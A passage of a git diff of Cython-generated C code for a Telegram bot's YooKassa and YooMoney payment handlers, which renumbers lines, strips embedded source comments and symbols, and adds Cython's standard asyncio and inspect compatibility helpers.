__Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery_types_Messag) < 0) __PYX_ERR(0, 252, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 252, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_13process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery_types_Messag) < 0) __PYX_ERR(0, 263, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 263, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_16process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__20)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_3) < 0) __PYX_ERR(0, 252, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_3) < 0) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":349 - * - * - * async def _send_message(callback_query: types.CallbackQuery | types.Message, text: str, reply_markup=None): # <<<<<<<<<<<<<< - * """ .""" - * if isinstance(callback_query, types.CallbackQuery): - */ - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 349, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery_types_Messag) < 0) __PYX_ERR(0, 349, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_s_str) < 0) __PYX_ERR(0, 349, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_16_send_message, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_send_message, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__25)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 349, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery_types_Messag) < 0) __PYX_ERR(0, 360, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_s_str) < 0) __PYX_ERR(0, 360, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_19_send_message, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_send_message, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__28)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_2, __pyx_tuple__35); + __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_2, __pyx_tuple__39); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_message, __pyx_t_2) < 0) __PYX_ERR(0, 349, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_message, __pyx_t_2) < 0) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":1 - * import uuid # <<<<<<<<<<<<<< - * from typing import Any - * - */ __pyx_t_2 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) @@ -18315,7 +17039,7 @@ static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject * #endif static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { #if PY_MAJOR_VERSION < 3 - PyObject *module, *from_list, *star = __pyx_n_s__26; + PyObject *module, *from_list, *star = __pyx_n_s__29; CYTHON_UNUSED_VAR(parts_tuple); from_list = PyList_New(1); if (unlikely(!from_list)) @@ -18378,7 +17102,7 @@ static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) if (unlikely(!module_name_str)) { goto modbad; } module_name = PyUnicode_FromString(module_name_str); if (unlikely(!module_name)) { goto modbad; } - module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__27); + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__30); if (unlikely(!module_dot)) { goto modbad; } full_name = PyUnicode_Concat(module_dot, name); if (unlikely(!full_name)) { goto modbad; } @@ -18408,6 +17132,114 @@ static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) return value; } +/* PatchInspect */ + static PyObject* __Pyx_patch_inspect(PyObject* module) { +#if defined(__Pyx_Generator_USED) && (!defined(CYTHON_PATCH_INSPECT) || CYTHON_PATCH_INSPECT) + static int inspect_patched = 0; + if (unlikely((!inspect_patched) && module)) { + module = __Pyx_Coroutine_patch_module( + module, "" +"old_types = getattr(_module.isgenerator, '_cython_generator_types', None)\n" +"if old_types is None or not isinstance(old_types, set):\n" +" old_types = set()\n" +" def cy_wrap(orig_func, type=type, cython_generator_types=old_types):\n" +" def cy_isgenerator(obj): return type(obj) in cython_generator_types or orig_func(obj)\n" +" cy_isgenerator._cython_generator_types = cython_generator_types\n" +" return cy_isgenerator\n" +" _module.isgenerator = cy_wrap(_module.isgenerator)\n" +"old_types.add(_cython_generator_type)\n" + ); + inspect_patched = 1; + } +#else + if ((0)) return __Pyx_Coroutine_patch_module(module, NULL); +#endif + return module; +} + +/* PatchAsyncIO */ + static PyObject* __Pyx_patch_asyncio(PyObject* module) { +#if PY_VERSION_HEX < 0x030500B2 &&\ + (defined(__Pyx_Coroutine_USED) || defined(__Pyx_Generator_USED)) &&\ + (!defined(CYTHON_PATCH_ASYNCIO) || CYTHON_PATCH_ASYNCIO) + PyObject *patch_module = NULL; + static int asyncio_patched = 0; + if (unlikely((!asyncio_patched) && module)) { + PyObject *package; + package = __Pyx_Import(__pyx_n_s_asyncio_coroutines, NULL, 0); + if (package) { + patch_module = __Pyx_Coroutine_patch_module( + PyObject_GetAttrString(package, "coroutines"), "" +"try:\n" +" coro_types = _module._COROUTINE_TYPES\n" +"except AttributeError: pass\n" +"else:\n" +" if _cython_coroutine_type is not None and _cython_coroutine_type not in coro_types:\n" +" coro_types = tuple(coro_types) + (_cython_coroutine_type,)\n" +" if _cython_generator_type is not None and _cython_generator_type not in coro_types:\n" +" coro_types = tuple(coro_types) + (_cython_generator_type,)\n" +"_module._COROUTINE_TYPES = coro_types\n" + ); + } else { + PyErr_Clear(); + package = __Pyx_Import(__pyx_n_s_asyncio_tasks, NULL, 0); + if (unlikely(!package)) goto asyncio_done; + patch_module = __Pyx_Coroutine_patch_module( + PyObject_GetAttrString(package, "tasks"), "" +"if hasattr(_module, 'iscoroutine'):\n" +" old_types = getattr(_module.iscoroutine, '_cython_coroutine_types', None)\n" +" if old_types is None or not isinstance(old_types, set):\n" +" old_types = set()\n" +" def cy_wrap(orig_func, type=type, cython_coroutine_types=old_types):\n" +" def cy_iscoroutine(obj): return type(obj) in cython_coroutine_types or orig_func(obj)\n" +" cy_iscoroutine._cython_coroutine_types = cython_coroutine_types\n" +" return cy_iscoroutine\n" +" _module.iscoroutine = cy_wrap(_module.iscoroutine)\n" +" if _cython_coroutine_type is not None:\n" +" old_types.add(_cython_coroutine_type)\n" +" if _cython_generator_type is not None:\n" +" old_types.add(_cython_generator_type)\n" + ); + } + Py_DECREF(package); + if (unlikely(!patch_module)) goto ignore; +asyncio_done: + PyErr_Clear(); + asyncio_patched = 1; +#ifdef __Pyx_Generator_USED + { + PyObject *inspect_module; + if (patch_module) { + inspect_module = PyObject_GetAttr(patch_module, __pyx_n_s_inspect); + Py_DECREF(patch_module); + } else { + inspect_module = __Pyx_Import(__pyx_n_s_inspect, NULL, 0); + } + if (unlikely(!inspect_module)) goto ignore; + inspect_module = __Pyx_patch_inspect(inspect_module); + if (unlikely(!inspect_module)) { + Py_DECREF(module); + module = NULL; + } + Py_XDECREF(inspect_module); + } +#else + if ((0)) return __Pyx_patch_inspect(module); +#endif + } + return module; +ignore: + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch asyncio package with custom generator type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + if ((0)) return __Pyx_patch_inspect(__Pyx_Coroutine_patch_module(module, NULL)); +#endif + return module; +} + /* PyObjectSetAttrStr */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { @@ -20243,7 +19075,7 @@ __Pyx_PyType_GetName(PyTypeObject* tp) if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { PyErr_Clear(); Py_XDECREF(name); - name = __Pyx_NewRef(__pyx_n_s__36); + name = __Pyx_NewRef(__pyx_n_s__40); } return name; } diff --git a/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so index 8d96bbf5..c1d69859 100755 Binary files a/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/yoomoney_pay.c b/handlers/payments/yoomoney_pay.c index c83a16f7..7421889e 100644 --- a/handlers/payments/yoomoney_pay.c +++ b/handlers/payments/yoomoney_pay.c @@ -7,6 +7,9 @@ "-O2", "-static-libgcc" ], + "extra_link_args": [ + "-s" + ], "name": "handlers.payments.yoomoney_pay", "sources": [ "handlers/payments/yoomoney_pay.py" @@ -1497,13 +1500,6 @@ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomone struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; -/* "handlers/payments/yoomoney_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< - * async def process_callback_pay_yoomoney( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1518,13 +1514,6 @@ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_ }; -/* "handlers/payments/yoomoney_pay.py":98 - * - * - * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection { PyObject_HEAD PyObject *__pyx_v_account_id; @@ -1539,13 +1528,6 @@ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process }; -/* "handlers/payments/yoomoney_pay.py":135 - * - * - * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< - * data = await request.post() - * logger.debug(f"Webhook event received: {data}") - */ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook { PyObject_HEAD double __pyx_v_amount; @@ -1565,13 +1547,6 @@ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomone }; -/* "handlers/payments/yoomoney_pay.py":166 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1580,13 +1555,6 @@ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process }; -/* "handlers/payments/yoomoney_pay.py":181 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input { PyObject_HEAD PyObject *__pyx_v_account_id; @@ -3754,13 +3722,6 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yoomoney_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< - * async def process_callback_pay_yoomoney( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney(PyObject *__pyx_self, @@ -3969,37 +3930,16 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 38, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":43 - * ): - * - * expected_hash = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< - * if YOOKASSA_HASH != expected_hash: - * logger.error(" ! !") - */ __Pyx_INCREF(__pyx_n_u_HASHHASHYOOKASSA); __Pyx_GIVEREF(__pyx_n_u_HASHHASHYOOKASSA); __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_HASHHASHYOOKASSA; - /* "handlers/payments/yoomoney_pay.py":44 - * - * expected_hash = "HASHHASHYOOKASSA" - * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< - * logger.error(" ! !") - * await callback_query.message.answer( - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - /* "handlers/payments/yoomoney_pay.py":45 - * expected_hash = "HASHHASHYOOKASSA" - * if YOOKASSA_HASH != expected_hash: - * logger.error(" ! !") # <<<<<<<<<<<<<< - * await callback_query.message.answer( - * text=" , @solonet_sup." - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L1_error) @@ -4029,37 +3969,16 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":46 - * if YOOKASSA_HASH != expected_hash: - * logger.error(" ! !") - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" , @solonet_sup." - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yoomoney_pay.py":47 - * logger.error(" ! !") - * await callback_query.message.answer( - * text=" , @solonet_sup." # <<<<<<<<<<<<<< - * ) - * return - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 47, __pyx_L1_error) - /* "handlers/payments/yoomoney_pay.py":46 - * if YOOKASSA_HASH != expected_hash: - * logger.error(" ! !") - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" , @solonet_sup." - * ) - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4084,33 +4003,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } } - /* "handlers/payments/yoomoney_pay.py":49 - * text=" , @solonet_sup." - * ) - * return # <<<<<<<<<<<<<< - * - * tg_id = callback_query.message.chat.id - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/yoomoney_pay.py":44 - * - * expected_hash = "HASHHASHYOOKASSA" - * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< - * logger.error(" ! !") - * await callback_query.message.answer( - */ } - /* "handlers/payments/yoomoney_pay.py":51 - * return - * - * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< - * - * builder = InlineKeyboardBuilder() - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) @@ -4123,13 +4021,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":53 - * tg_id = callback_query.message.chat.id - * - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; @@ -4158,13 +4049,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":55 - * builder = InlineKeyboardBuilder() - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 55, __pyx_L1_error) @@ -4243,13 +4127,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":56 - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) @@ -4265,33 +4142,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__pyx_t_2) { - /* "handlers/payments/yoomoney_pay.py":57 - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/yoomoney_pay.py":58 - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - /* "handlers/payments/yoomoney_pay.py":59 - * builder.row( - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - */ __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) @@ -4305,13 +4161,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/yoomoney_pay.py":60 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< - * ), - * InlineKeyboardButton( - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) @@ -4329,35 +4178,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/yoomoney_pay.py":58 - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - /* "handlers/payments/yoomoney_pay.py":62 - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - /* "handlers/payments/yoomoney_pay.py":63 - * ), - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - * ), - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) @@ -4374,13 +4202,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/yoomoney_pay.py":64 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< - * ), - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) @@ -4401,13 +4222,6 @@ static PyObject 